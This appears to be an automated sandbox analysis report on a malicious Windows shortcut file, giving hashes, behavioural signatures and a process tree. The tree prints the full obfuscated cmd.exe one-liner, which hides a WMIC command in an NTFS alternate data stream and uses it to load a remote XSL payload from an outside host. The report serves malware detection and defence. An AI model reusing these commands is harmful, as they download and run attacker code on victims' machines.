Analysis
- max time kernel
149s - max time network
143s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
25/09/2026, 09:26
Static task
static1
Behavioral task
behavioral1
Sample
Visualizar_Detalhes-201910.lnk
Resource
win10v2004-20260911-en
windows10-2004-x64
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
Visualizar_Detalhes-201910.lnk
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
7 signatures
150 seconds
General
- Target Visualizar_Detalhes-201910.lnk
- Size 2KB
- Sample260925-ld8sssvs7m
- SHA256 a4ea98ba0518f28250f5fe94f27c4bc46239821de0f4b8912f019ce01761edd6
- MD5 53981f205a3232d8ed319f0aac72a506
- SHA1 46bc4ecf6cb80c773f19c4f1b70b608262ebde7c
- SHA512 d7248c78dc2a79fa5136731a59172674814e01aaae54e610d4cfaf528bac655b559c6723ab21f79be799081b42ac4ebb9b87e6243df2db80f57b8579a767b2f3
- TLSH T17541F0241EEE4726C7F28E3B546863128732FA46E9668F6D0194C2C95C41601BD60F2F
- MD5 SHA1 SHA512 TLSH
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 6 1180 WMIC.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Control Panel\International\Geo\Nation cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3872 cmd.exe 4904 cmd.exe - NTFS ADS 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Temp\u578hii.jpg:qqll233.cmd cmd.exe - Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 1180 WMIC.exe Token: SeSecurityPrivilege 1180 WMIC.exe Token: SeTakeOwnershipPrivilege 1180 WMIC.exe Token: SeLoadDriverPrivilege 1180 WMIC.exe Token: SeSystemProfilePrivilege 1180 WMIC.exe Token: SeSystemtimePrivilege 1180 WMIC.exe Token: SeProfSingleProcessPrivilege 1180 WMIC.exe Token: SeIncBasePriorityPrivilege 1180 WMIC.exe Token: SeCreatePagefilePrivilege 1180 WMIC.exe Token: SeBackupPrivilege 1180 WMIC.exe Token: SeRestorePrivilege 1180 WMIC.exe Token: SeShutdownPrivilege 1180 WMIC.exe Token: SeDebugPrivilege 1180 WMIC.exe Token: SeSystemEnvironmentPrivilege 1180 WMIC.exe Token: SeRemoteShutdownPrivilege 1180 WMIC.exe Token: SeUndockPrivilege 1180 WMIC.exe Token: SeManageVolumePrivilege 1180 WMIC.exe Token: 33 1180 WMIC.exe Token: 34 1180 WMIC.exe Token: 35 1180 WMIC.exe Token: 36 1180 WMIC.exe Token: SeIncreaseQuotaPrivilege 1180 WMIC.exe Token: SeSecurityPrivilege 1180 WMIC.exe Token: SeTakeOwnershipPrivilege 1180 WMIC.exe Token: SeLoadDriverPrivilege 1180 WMIC.exe Token: SeSystemProfilePrivilege 1180 WMIC.exe Token: SeSystemtimePrivilege 1180 WMIC.exe Token: SeProfSingleProcessPrivilege 1180 WMIC.exe Token: SeIncBasePriorityPrivilege 1180 WMIC.exe Token: SeCreatePagefilePrivilege 1180 WMIC.exe Token: SeBackupPrivilege 1180 WMIC.exe Token: SeRestorePrivilege 1180 WMIC.exe Token: SeShutdownPrivilege 1180 WMIC.exe Token: SeDebugPrivilege 1180 WMIC.exe Token: SeSystemEnvironmentPrivilege 1180 WMIC.exe Token: SeRemoteShutdownPrivilege 1180 WMIC.exe Token: SeUndockPrivilege 1180 WMIC.exe Token: SeManageVolumePrivilege 1180 WMIC.exe Token: 33 1180 WMIC.exe Token: 34 1180 WMIC.exe Token: 35 1180 WMIC.exe Token: 36 1180 WMIC.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 3872 wrote to memory of 4904 3872 cmd.exe 87 PID 4904 wrote to memory of 4548 4904 cmd.exe 88 PID 4548 wrote to memory of 1180 4548 cmd.exe 89
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Visualizar_Detalhes-201910.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3872 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c echo ^wmic ^os ^get ^699aIIEEE, ^LLSSKKq, ^Version ^/format:"http://149.28.198.35.bc.googleusercontent.com/08/v.xsl#0250205777hiiii"> C:\Users\Admin\AppData\Local\Temp\u578hii.jpg:qqll233.cmd && C:\Windows\system32\cmd.exe - < C:\Users\Admin\AppData\Local\Temp\u578hii.jpg:qqll233.cmd2⤵
- Executes a command shell one-liner
- NTFS ADS
- Suspicious use of WriteProcessMemory
PID:4904 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe -3⤵
- Suspicious use of WriteProcessMemory
PID:4548 -
C:\Windows\system32\wbem\WMIC.exewmic os get 699aIIEEE, LLSSKKq, Version /format:"http://149.28.198.35.bc.googleusercontent.com/08/v.xsl#0250205777hiiii"4⤵
- Badlisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:1180
-
-
-